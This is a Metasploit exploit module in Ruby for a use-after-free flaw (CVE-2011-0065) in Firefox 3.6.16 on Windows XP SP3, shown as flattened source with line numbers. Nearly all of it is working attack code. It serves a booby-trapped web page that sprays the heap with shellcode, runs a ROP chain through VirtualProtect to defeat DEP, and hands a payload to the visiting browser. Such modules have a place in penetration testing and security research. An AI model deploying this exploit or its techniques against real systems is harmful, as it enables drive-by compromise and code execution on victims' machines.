1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "3.6.16", :ua_maxver => "3.6.16", :os_name => OperatingSystems::WINDOWS, :javascript => true, :rank => NormalRanking, }) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free Exploit', 'Description'=> %q{ This module exploits an use after free vulnerability in Mozilla Firefox 3.6.16. An OBJECT Element mChannel can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs data attribute. (Discovered by regenrecht). This module uses heapspray with a minimal ROP chain to bypass DEP on Windows XP SP3 }, 'License'=> MSF_LICENSE, 'Author' => [ 'regenrecht', #discovery 'Rh0'# wrote metasploit module ], 'Version'=> '0.0', 'References' => [ ['CVE','2011-0065'], ['OSVDB','72085'], ['URL','https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], ['URL','http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload'=> { 'Space'=> 1024, 'BadChars' => "", }, 'Targets'=> [ # worked with 100% reliability [ 'Firefox 3.6.16, Windows XP SP3 (VirtualBox 4)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'May 10 2011' )) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli).encoded) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end def generate_html(payload) # DEP bypass custom_stack = [ 0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff add [eax],eax / xor eax,eax / pop esi / retN 0x8 0x7c801ad4, # VirtualProtect 0xbeeff00d, 0xbeeff00d, 0x7c874413, # jmp esp 0x0c0c0048, # start address 0x00000400, # size 1024 0x00000040, # Page EXECUTE_READ_WRITE 0x0c0c0c00 # old protection ].pack("V*") payload_buf = '' payload_buf << custom_stack payload_buf << payload escaped_payload = Rex::Text.to_unescape(payload_buf) custom_js = %Q| e = document.getElementById("d"); e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0) fake_obj_addr = unescape("\\x0c%u0c0c") // taken and modified from adobe_flashplayer_newfunction.rb var sc = unescape("#{escaped_payload}") var ret_addr = unescape("%u0024%u0c0c") while(ret_addr.length+20+8 < 0x100000) {ret_addr += ret_addr} var b = ret_addr.substring(0,(0x48-0x24)/2) b += sc b += ret_addr var next = b.substring(0,0x10000/2) while(next.length<0x800000) {next += next} var again = next.substring(0,0x80000 - (0x1020-0x08)/2) array = new Array() for (n=0;n<0x1f0;n++){ array[n] = again + sc } e.data = "" | return %Q| <html> <body> <object id="d"><object> <script type="text/javascript"> #{custom_js} </script></body></html> | end end |